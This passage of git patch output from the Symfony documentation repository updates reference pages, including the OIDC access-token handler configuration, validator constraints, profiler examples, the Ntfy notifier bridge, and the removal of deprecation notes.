-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
-            <class name="App\Entity\Order">
-                <property name="promotion">
-                    <constraint name="ExpressionLanguageSyntax"/>
-                </property>
-                <property name="shippingOptions">
-                    <constraint name="ExpressionLanguageSyntax">
-                        <option name="allowedVariables">
-                            <value>user</value>
-                            <value>shipping_centers</value>
-                        </option>
-                    </constraint>
-                </property>
-            </class>
-        </constraint-mapping>
-
-    .. code-block:: php
-
-        // src/Entity/Student.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Mapping\ClassMetadata;
-
-        class Order
-        {
-            // ...
-
-            public static function loadValidatorMetadata(ClassMetadata $metadata): void
-            {
-                $metadata->addPropertyConstraint('promotion', new Assert\ExpressionLanguageSyntax());
-
-                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionLanguageSyntax([
-                    'allowedVariables' => ['user', 'shipping_centers'],
-                ]));
-            }
-        }
-
-Options
--------
-
-allowedVariables
-~~~~~~~~~~~~~~~~
-
-**type**: ``array`` or ``null`` **default**: ``null``
-
-If this option is defined, the expression can only use the variables whose names
-are included in this option. Unset this option or set its value to ``null`` to
-allow any variables.
-
-.. include:: /reference/constraints/_groups-option.rst.inc
-
-message
-~~~~~~~
-
-**type**: ``string`` **default**: ``This value should be a valid expression.``
-
-This is the message displayed when the validation fails.
-
-.. include:: /reference/constraints/_payload-option.rst.inc
-
-.. _`ExpressionLanguage`: https://symfony.com/components/ExpressionLanguage
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 2a603eaa616..c1d086790c1 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -4,12 +4,6 @@ ExpressionSyntax
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
-.. versionadded:: 6.1
-
-    This constraint was introduced in Symfony 6.1 and deprecates the previous
-    :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
-    constraint.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntax`

From fc0b8994ec5e153c3fb8e2572c832a142d6cc30f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 14:15:16 +0200
Subject: [PATCH 4804/7107] [Security] Remove `{username}` occurrence

---
 security/ldap.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index b2f5a3e753c..21ea66f480e 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -290,11 +290,6 @@ string will be replaced by the value of the ``uid_key`` configuration value
 (by default, ``sAMAccountName``), and the ``{user_identifier}`` string will be
 replaced by the user identified you are trying to load.
 
-.. deprecated:: 6.2
-
-    Starting from Symfony 6.2, the ``{username}`` string was deprecated in favor
-    of ``{user_identifier}``.
-
 For example, with a ``uid_key`` of ``uid``, and if you are trying to
 load the user ``fabpot``, the final string will be: ``(uid=fabpot)``.
 

From d922dcaffc6e66fb8dd9ca0d335a5ba0018dfcf4 Mon Sep 17 00:00:00 2001
From: Vincent Chalamon <407859+vincentchalamon@users.noreply.github.com>
Date: Tue, 30 May 2023 14:13:58 +0200
Subject: [PATCH 4805/7107] [Security] OIDC user info token handler client

---
 security/access_token.rst | 137 +++++++++++---------------------------
 1 file changed, 39 insertions(+), 98 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 6114d076637..bdc84e01fae 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -380,9 +380,7 @@ and retrieve the user info:
                 main:
                     access_token:
                         token_handler:
-                            oidc_user_info:
-                                client:
-                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+                            oidc_user_info: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
 
     .. code-block:: xml
 
@@ -399,11 +397,7 @@ and retrieve the user info:
             <config>
                 <firewall name="main">
                     <access-token>
-                        <token-handler>
-                            <oidc-user-info>
-                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
-                            </oidc-user-info>
-                        </token-handler>
+                        <token-handler oidc-user-info="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
                     </access-token>
                 </firewall>
             </config>
@@ -418,9 +412,7 @@ and retrieve the user info:
             $security->firewall('main')
                 ->accessToken()
                     ->tokenHandler()
-                        ->oidcUserInfo()
-                            ->client()
-                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+                        ->oidcUserInfo('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
             ;
         };
 
@@ -439,8 +431,7 @@ identifier by default. To use another claim, specify it on the configuration:
                         token_handler:
                             oidc_user_info:
                                 claim: email
-                                client:
-                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+                                base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
 
     .. code-block:: xml
 
@@ -458,9 +449,7 @@ identifier by default. To use another claim, specify it on the configuration:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc-user-info claim="email">
-                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
-                            </oidc-user-info>
+                            <oidc-user-info claim="email" base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
                         </token-handler>
                     </access-token>
                 </firewall>
@@ -478,13 +467,12 @@ identifier by default. To use another claim, specify it on the configuration:
                     ->tokenHandler()
                         ->oidcUserInfo()
                             ->claim('email')
-                            ->client()
-                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+                            ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
             ;
         };
 
 The ``oidc_user_info`` token handler automatically creates an HTTP client with
-the specified configuration. If you prefer using your own client, you can
+the specified ``base_uri``. If you prefer using your own client, you can
 specify the service name via the ``client`` option:
 
 .. configuration-block::
@@ -583,11 +571,14 @@ it and retrieve the user info from it:
                     access_token:
                         token_handler:
                             oidc:
-                                signature:
-                                    # Algorithm used to sign the JWS
-                                    algorithm: 'HS256'
-                                    # A JSON-encoded JWK
-                                    key: '{"kty":"...","k":"..."}'
+                                # Algorithm used to sign the JWS
+                                algorithm: 'ES256'
+                                # A JSON-encoded JWK
+                                key: '{"kty":"...","k":"..."}'
+                                # Audience (`aud` claim): required for validation purpose
+                                audience: 'api-example'
+                                # Issuers (`iss` claim): required for validation purpose
+                                issuers: ['https://oidc.example.com']
 
     .. code-block:: xml
 
@@ -605,8 +596,12 @@ it and retrieve the user info from it:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc>
-                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            <!-- Algorithm used to sign the JWS -->
+                            <!-- A JSON-encoded JWK -->
+                            <!-- Audience (`aud` claim): required for validation purpose -->
+                            <oidc algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                                <!-- Issuers (`iss` claim): required for validation purpose -->
+                                <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
                     </access-token>
@@ -624,9 +619,14 @@ it and retrieve the user info from it:
                 ->accessToken()
                     ->tokenHandler()
                         ->oidc()
-                            ->signature()
-                                ->algorithm('HS256')
-                                ->key('{"kty":"...","k":"..."}')
+                            // Algorithm used to sign the JWS
+                            ->algorithm('ES256')
+                            // A JSON-encoded JWK
+                            ->key('{"kty":"...","k":"..."}')
+                            // Audience (`aud` claim): required for validation purpose
+                            ->audience('api-example')
+                            // Issuers (`iss` claim): required for validation purpose
+                            ->issuers(['https://oidc.example.com'])
             ;
         };
 
@@ -646,9 +646,10 @@ configuration:
                         token_handler:
                             oidc:
                                 claim: email
-                                signature:
-                                    algorithm: 'HS256'
-                                    key: '{"kty":"...","k":"..."}'
+                                algorithm: 'ES256'
+                                key: '{"kty":"...","k":"..."}'
+                                audience: 'api-example'
+                                issuers: ['https://oidc.example.com']
 
     .. code-block:: xml
 
@@ -666,8 +667,8 @@ configuration:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc claim="email">
-                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            <oidc claim="email" algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                                <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
                     </access-token>
@@ -686,70 +687,10 @@ configuration:
                     ->tokenHandler()
                         ->oidc()
                             ->claim('email')
-                            ->signature()
-                                ->algorithm('HS256')
-                                ->key('{"kty":"...","k":"..."}')
-            ;
-        };
-
-The ``oidc`` token handler also checks for the token audience. By default, this
-audience is optional. To enable this check, add the ``audience`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            firewalls:
-                main:
-                    access_token:
-                        token_handler:
-                            oidc:
-                                audience: 'My audience'
-                                signature:
-                                    algorithm: 'HS256'
-                                    key: '{"kty":"...","k":"..."}'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main">
-                    <access-token>
-                        <token-handler>
-                            <oidc audience="My audience">
-                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
-                            </oidc>
-                        </token-handler>
-                    </access-token>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('main')
-                ->accessToken()
-                    ->tokenHandler()
-                        ->oidc()
-                            ->audience('My audience')
-                            ->signature()
-                                ->algorithm('HS256')
-                                ->key('{"kty":"...","k":"..."}')
+                            ->algorithm('ES256')
+                            ->key('{"kty":"...","k":"..."}')
+                            ->audience('api-example')
+                            ->issuers(['https://oidc.example.com'])
             ;
         };
 

From 714c297a08cb72fa606af598dc16a0c1bfdab32a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 16:45:27 +0200
Subject: [PATCH 4806/7107] [Frontend] Fix the syntax of the intro table

---
 frontend.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 60c83a8e714..e3a9ac2326f 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -25,14 +25,16 @@ Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes [#1]_
-Supports TypeScript               yes                no [#1]_
+Supports React, Vue, Svelte?      yes                yes (but read note below)
+Supports TypeScript               yes                no (but read note below)
 ================================  =================  ======================================================
 
-.. [#1] Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
-        need to use their native tools for pre-compilation. Also, some features (like
-        Vue single-file components) cannot be compiled down to pure JavaScript that can
-        be executed by a browser.
+.. note::
+
+    Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+    need to use their native tools for pre-compilation. Also, some features (like
+    Vue single-file components) cannot be compiled down to pure JavaScript that can
+    be executed by a browser.
 
 .. _frontend-webpack-encore:
 

From 4cb24b9d9383d661401d2cdd46ddaef15a71d057 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Fri, 30 Jun 2023 08:43:53 +0200
Subject: [PATCH 4807/7107] [Profiler] [DataCollector] document `cloneVar` &
 `profiler_dump`

---
 profiler.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/profiler.rst b/profiler.rst
index f14fdcee0a7..b3ada048ea8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -360,6 +360,13 @@ template access to the collected information::
         {
             return $this->data['acceptable_content_types'];
         }
+
+        // In case you want to dump collected data in the profiler
+        // you can leverage this function
+        public function getObject()
+        {
+             return $this->cloneVar($this->data['method']);
+        }
     }
 
 In the simplest case, you want to display the information in the toolbar
@@ -463,6 +470,11 @@ must also define additional blocks:
                 <td>{{ type }}</td>
             </tr>
             {% endfor %}
+
+            {# In case of specific object, you can leverage the profiler_dump() function #}
+            <tr>
+                {{ profiler_dump(collector.object) }}
+            </tr>
         </table>
     {% endblock %}
 

From 09ccaf48ae15438ac313e9c387b01b9b0e54259d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 17:04:49 +0200
Subject: [PATCH 4808/7107] Tweaks

---
 profiler.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index b3ada048ea8..32ccc622ce8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -361,10 +361,9 @@ template access to the collected information::
             return $this->data['acceptable_content_types'];
         }
 
-        // In case you want to dump collected data in the profiler
-        // you can leverage this function
-        public function getObject()
+        public function getSomeObject()
         {
+            // use the cloneVar() method to dump collected data in the profiler
              return $this->cloneVar($this->data['method']);
         }
     }
@@ -471,9 +470,9 @@ must also define additional blocks:
             </tr>
             {% endfor %}
 
-            {# In case of specific object, you can leverage the profiler_dump() function #}
+            {# use the profiler_dump() function to render the contents of dumped objects #}
             <tr>
-                {{ profiler_dump(collector.object) }}
+                {{ profiler_dump(collector.someObject) }}
             </tr>
         </table>
     {% endblock %}

From 79d6e735072b3d13af7cccac20e8b6abc1de343a Mon Sep 17 00:00:00 2001
From: Mickael Perraud <mikaelkael.fr@gmail.com>
Date: Wed, 26 Apr 2023 09:27:22 +0200
Subject: [PATCH 4809/7107] [Notifier] Add Ntfy bridge

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 25b03445054..27a10a2a766 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -431,6 +431,7 @@ Service          Package                               DSN
 `Engagespot`_    ``symfony/engagespot-notifier``       ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
 `Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
 `Novu`_          ``symfony/novu-notifier``             ``novu://API_KEY@default``
+`Ntfy`_          ``symfony/ntfy-notifier``             ``ntfy://default/TOPIC``
 `OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
 `PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
@@ -446,7 +447,7 @@ Service          Package                               DSN
 
 .. versionadded:: 6.4
 
-    The Novu integration was introduced in Symfony 6.4.
+    The Novu and Ntfy integrations were introduced in Symfony 6.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -1009,6 +1010,7 @@ is dispatched. Listeners receive a
 .. _`Mobyt`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mobyt/README.md
 .. _`Nexmo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Nexmo/README.md
 .. _`Novu`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Novu/README.md
+.. _`Ntfy`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Ntfy/README.md
 .. _`Octopush`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Octopush/README.md
 .. _`OneSignal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OneSignal/README.md
 .. _`OrangeSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/OrangeSms/README.md

From b7297ecec9f893c60bdfd58c68789038b8d85998 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 17:40:34 +0200
Subject: [PATCH 4810/7107] [FrameworkBundle] Deprecate terminate_on_cache_hit
 option

---
 reference/configuration/framework.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce08ef2f11a..0fc4f6223f6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -171,6 +171,11 @@ bootstrap the Symfony framework on a cache hit.
 
     The ``terminate_on_cache_hit`` option was introduced in Symfony 6.2.
 
+.. deprecated:: 6.2
+
+    Setting the ``terminate_on_cache_hit`` option to ``true`` was deprecated in
+    Symfony 6.2 and the option will be removed in Symfony 7.0.
+
  .. _configuration-framework-http_method_override:
 
 http_method_override

From 86ed5fee32ab500e5b38d6265f9082d89314e3e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 17:58:39 +0200
Subject: [PATCH 4811/7107] Deprecate all occurrences of
 ArgumentValueResolverInterface

---
 components/http_kernel.rst | 11 +++++++++--
 reference/dic_tags.rst     |  9 ++++++++-
 2 files changed, 17 insertions(+), 3 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 2bb972e057a..2c3e5266a20 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -340,12 +340,19 @@ of arguments that should be passed when executing that callable.
        available through the `variadic`_ argument.
 
     This functionality is provided by resolvers implementing the
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`.
+    :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`.
     There are four implementations which provide the default behavior of
     Symfony but customization is the key here. By implementing the
-    ``ArgumentValueResolverInterface`` yourself and passing this to the
+    ``ValueResolverInterface`` yourself and passing this to the
     ``ArgumentResolver``, you can extend this functionality.
 
+    .. versionadded:: 6.2
+
+        The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
+        6.2, you had to use the
+        :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
+        which defines different methods.
+
 .. _component-http-kernel-calling-controller:
 
 5) Calling the Controller
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index bd963249113..cdbb7788032 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -333,10 +333,17 @@ controller.argument_value_resolver
 **Purpose**: Register a value resolver for controller arguments such as ``Request``
 
 Value resolvers implement the
-:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and are used to resolve argument values for controllers as described here:
 :doc:`/controller/argument_value_resolver`.
 
+.. versionadded:: 6.2
+
+    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
+    6.2, you had to use the
+    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
+    which defines different methods.
+
 data_collector
 --------------
 

From cae60d7f61518037e75cb523c1e8edf4733dfc47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 08:23:48 +0200
Subject: [PATCH 4812/7107] Fix an RST syntax issue

---
 profiler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index 32ccc622ce8..772a01d21c3 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -364,7 +364,7 @@ template access to the collected information::
         public function getSomeObject()
         {
             // use the cloneVar() method to dump collected data in the profiler
-             return $this->cloneVar($this->data['method']);
+            return $this->cloneVar($this->data['method']);
         }
     }
 

From 0ec56cd0aae64a3d58c680b1538d0ba2fad66f9a Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 5 Jul 2023 08:56:28 +0200
Subject: [PATCH 4813/7107] [Encore] Webpack Dev Server & Symfony CLI HTTPS:
 add note for Node 17+

---
 frontend/encore/dev-server.rst | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 52a4fa83b05..6fcdaee6fd6 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -58,7 +58,6 @@ method in your ``webpack.config.js`` file:
         })
     ;
 
-
 Enabling HTTPS using the Symfony Web Server
 -------------------------------------------
 
@@ -84,6 +83,19 @@ server SSL certificate:
     +         }
     +     })
 
+.. note::
+
+    If you are using Node.js 17 or newer, you have to run the ``dev-server`` command with the
+    ``--openssl-legacy-provider`` option:
+
+    .. code-block:: terminal
+
+        # if you use the Yarn package manager
+        $ NODE_OPTIONS=--openssl-legacy-provider yarn encore dev-server
+
+        # if you use the npm package manager
+        $ NODE_OPTIONS=--openssl-legacy-provider npm run dev-server
+
 CORS Issues
 -----------
 

From f24c16038a8410b66f8d45553a1659084687af95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 09:10:28 +0200
Subject: [PATCH 4814/7107] [Validator] Remove the deprecated
 VALIDATION_MODE_LOOSE

---
 reference/configuration/framework.rst |  7 +------
 reference/constraints/Email.rst       | 10 +---------
 2 files changed, 2 insertions(+), 15 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 74de9fc1094..5c7eafe5531 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2619,12 +2619,7 @@ constraint verifies the submitted string entropy is matching the minimum entropy
 email_validation_mode
 .....................
 
-**type**: ``string`` **default**: ``loose``
-
-.. deprecated:: 6.2
-
-    The ``loose`` default value is deprecated since Symfony 6.2. Starting from
-    Symfony 7.0, the default value of this option will be ``html5``.
+**type**: ``string`` **default**: ``html5``
 
 Sets the default value for the
 :ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 19b1579b88a..3f4207471c1 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -104,13 +104,10 @@ Parameter        Description
 ``mode``
 ~~~~~~~~
 
-**type**: ``string`` **default**: (see below)
+**type**: ``string`` **default**: ``html5``
 
 This option defines the pattern used to validate the email address. Valid values are:
 
-* ``loose`` uses a simple regular expression (just checks that at least one ``@``
-  character is present, etc.). This validation is too simple and it's recommended
-  to use one of the other modes instead;
 * ``html5`` uses the regular expression of the `HTML5 email input element`_,
   except it enforces a tld to be present.
 * ``html5-allow-no-tld`` uses exactly the same regular expression as the `HTML5 email input element`_,
@@ -133,11 +130,6 @@ The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.
 
-.. deprecated:: 6.2
-
-    The ``loose`` value is deprecated since Symfony 6.2. Starting from
-    Symfony 7.0, the default value of this option will be ``html5``.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From c343e4406f50052f48bbcc0875d352e1fa3aaff7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 09:23:52 +0200
Subject: [PATCH 4815/7107] Fix a diff example in Page Creation article

---
 page_creation.rst | 26 ++++++++++++--------------
 1 file changed, 12 insertions(+), 14 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 06b7bf4292a..ede8be35c2d 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -62,23 +62,21 @@ so that the ``number()`` method is called when a user browses to it. This associ
 is defined with the ``#[Route]`` attribute (in PHP, `attributes`_ are used to add
 metadata to code):
 
-.. configuration-block::
-
-    .. code-block:: php-attributes
+.. code-block:: diff
 
-        // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-        // ...
-        + use Symfony\Component\Routing\Annotation\Route;
+      // ...
+    + use Symfony\Component\Routing\Annotation\Route;
 
-        class LuckyController
-        {
-        +   #[Route('/lucky/number')]
-            public function number(): Response
-            {
-                // this looks exactly the same
-            }
-        }
+      class LuckyController
+      {
+    +     #[Route('/lucky/number')]
+          public function number(): Response
+          {
+              // this looks exactly the same
+          }
+      }
 
 That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
 

From 0612308de36ebc594f10d21e38650798a9760c39 Mon Sep 17 00:00:00 2001
From: Greg Berger <berger.gregory@gmail.com>
Date: Wed, 5 Jul 2023 12:05:59 +0200
Subject: [PATCH 4816/7107] Update Unique.rst

Typo in Attribute `fields` code example
---
 reference/constraints/Unique.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 5c894bcc443..2fef2bf31ad 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -120,7 +120,7 @@ collection::
 
         class Poi
         {
-            #[Assert\Unique(fields=['latitude', 'longitude'])]
+            #[Assert\Unique(fields: ['latitude', 'longitude'])]
             protected array $coordinates;
         }
 

From 1d6ff9c0ab4142b6f092853dff867d9691c52783 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 12:19:26 +0200
Subject: [PATCH 4817/7107] Rename a class

---
 reference/constraints/Unique.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 2fef2bf31ad..1f5631abc95 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -113,12 +113,12 @@ collection::
 
     .. code-block:: php-attributes
 
-        // src/Entity/Poi.php
+        // src/Entity/PointOfInterest.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Poi
+        class PointOfInterest
         {
             #[Assert\Unique(fields: ['latitude', 'longitude'])]
             protected array $coordinates;
@@ -127,7 +127,7 @@ collection::
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\Poi:
+        App\Entity\PointOfInterest:
             properties:
                 coordinates:
                     - Unique:
@@ -141,7 +141,7 @@ collection::
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\Poi">
+            <class name="App\Entity\PointOfInterest">
                 <property name="coordinates">
                     <constraint name="Unique">
                         <option name="fields">
@@ -155,13 +155,13 @@ collection::
 
     .. code-block:: php
 
-        // src/Entity/Poi.php
+        // src/Entity/PointOfInterest.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Poi
+        class PointOfInterest
         {
             // ...
 

From bf08b822825de7d8272ef47a76f159133a6f9252 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 13:08:30 +0200
Subject: [PATCH 4818/7107] [Form] Remove the deprecated renderForm() shortcut

---
 forms.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/forms.rst b/forms.rst
index 806d1f47bb2..3c062c76e98 100644
--- a/forms.rst
+++ b/forms.rst
@@ -282,13 +282,6 @@ Now that the form has been created, the next step is to render it::
 Internally, the ``render()`` method calls ``$form->createView()`` to
 transform the form into a *form view* instance.
 
-.. deprecated:: 6.2
-
-    Prior to Symfony 6.2, you had to use ``$this->render(..., ['form' => $form->createView()])``
-    or the ``renderForm()`` method to render the form. The ``renderForm()``
-    method is deprecated in favor of directly passing the ``FormInterface``
-    instance to ``render()``.
-
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
 

From e6f6bbd9f584083ed327dd967de582bca7508a9a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Jul 2023 14:02:31 +0200
Subject: [PATCH 4819/7107] Remove `terminate_on_cache_hit` option.

---
 reference/configuration/framework.rst | 21 ---------------------
 1 file changed, 21 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0b8fd4b0bac..82e87b67f0b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -167,27 +167,6 @@ which the cache can serve a stale response when an error is encountered
 (default: 60). This setting is overridden by the stale-if-error HTTP
 Cache-Control extension (see RFC 5861).
 
-terminate_on_cache_hit
-......................
-
-**type**: ``boolean`` **default**: ``true``
-
-If ``true``, the :ref:`kernel.terminate <component-http-kernel-kernel-terminate>`
-event is dispatched even when the cache is hit.
-
-Unless your application needs to process events on cache hits, it's recommended
-to set this to ``false`` to improve performance, because it avoids having to
-bootstrap the Symfony framework on a cache hit.
-
-.. versionadded:: 6.2
-
-    The ``terminate_on_cache_hit`` option was introduced in Symfony 6.2.
-
-.. deprecated:: 6.2
-
-    Setting the ``terminate_on_cache_hit`` option to ``true`` was deprecated in
